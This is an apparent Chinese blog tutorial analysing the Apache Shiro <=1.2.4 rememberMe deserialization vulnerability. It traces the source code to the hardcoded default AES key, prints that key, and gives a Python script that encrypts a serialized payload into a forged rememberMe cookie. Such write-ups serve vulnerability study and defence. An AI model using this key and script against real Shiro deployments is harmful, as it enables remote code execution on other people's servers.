[Java反序列化]—Shiro反序列化(一)

本文详细解析了Apache Shiro 1.2.4版本的反序列化RCE漏洞,涉及RememberMe功能的Cookie处理过程,包括AES加密、Base64编码和解密,关键在于找到并利用默认的AES密钥。作者演示了如何构造Payload,并通过脚本实现AES加密和cookie构造,展示了漏洞复现的过程。
摘要由CSDN通过智能技术生成

前言

前篇进行了shiro550的IDEA配置,本篇就来通过urldns链来检测shiro550反序列化的存在

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本

Apache Shiro <= 1.2.4

特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

流程分析

看完基本原理应该也不难发现,shiro反序列化主要就是对cookie进行的一系列操作,所以利用点就从Cookie有关的说起:

shiro原生文件中找到了CookieRememberMeManager.java对cookie中的字段进行管理,其中有个rememberSerializedIdentity(),可以对remember认证信息进行序列化

在这里插入图片描述

既然有了对认证信息的操作,就需要获取认证信息找到了getRememberedSerializedIdentity(),主要是对cookie进行base64解密操作

在这里插入图片描述

继续寻找在哪里进行了调用,找到了AbstractRememberMeManager.javagetRememberedPrincipals()

在这里插入图片描述

其中会调用convertBytesToPrincipals(),进行字节和认证信息转换,跟进一下

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

if中进行了decrypt解密操作,最后返回反序列化内容,跟进一下decrypt(),看看具体执行了什么

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

getCipherService(),获取算法再通过decrypt()对通过getDecryptionCipherKey()获取的key进行解密,跟进getDecryptionCipherKey()

public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}

返回了decryptionCipherKey,看下它是在哪里赋的值

在这里插入图片描述

再看哪里调用了setDecryptionCipherKey(),找到了setCipherKey()

在这里插入图片描述

继续向上找最终找到了AbstractRememberMeManager(),而它的DEFAULT_CIPHER_KEY_BYTES是一个固定值

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

至此也就相当于找到了解aes的秘钥,为我们的cookie的构造创造了条件

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

接着回到convertBytesToPrincipals(),跟进deserialize()

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

接着跟进deserialize()

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
    return getSerializer().deserialize(serializedIdentity);
}

在这里插入图片描述

最终就到了readObject执行反序列化

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

漏洞复现

用脚本将序列化生成的文件1.txt进行aes加密

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data


def aesEncode(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext
def aesDecode(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s:s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext 



if __name__ == '__main__':
    data = get_file("1.txt")
    print(aesEncode(data))

在这里插入图片描述

生成后传入cookie中,成功回显

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值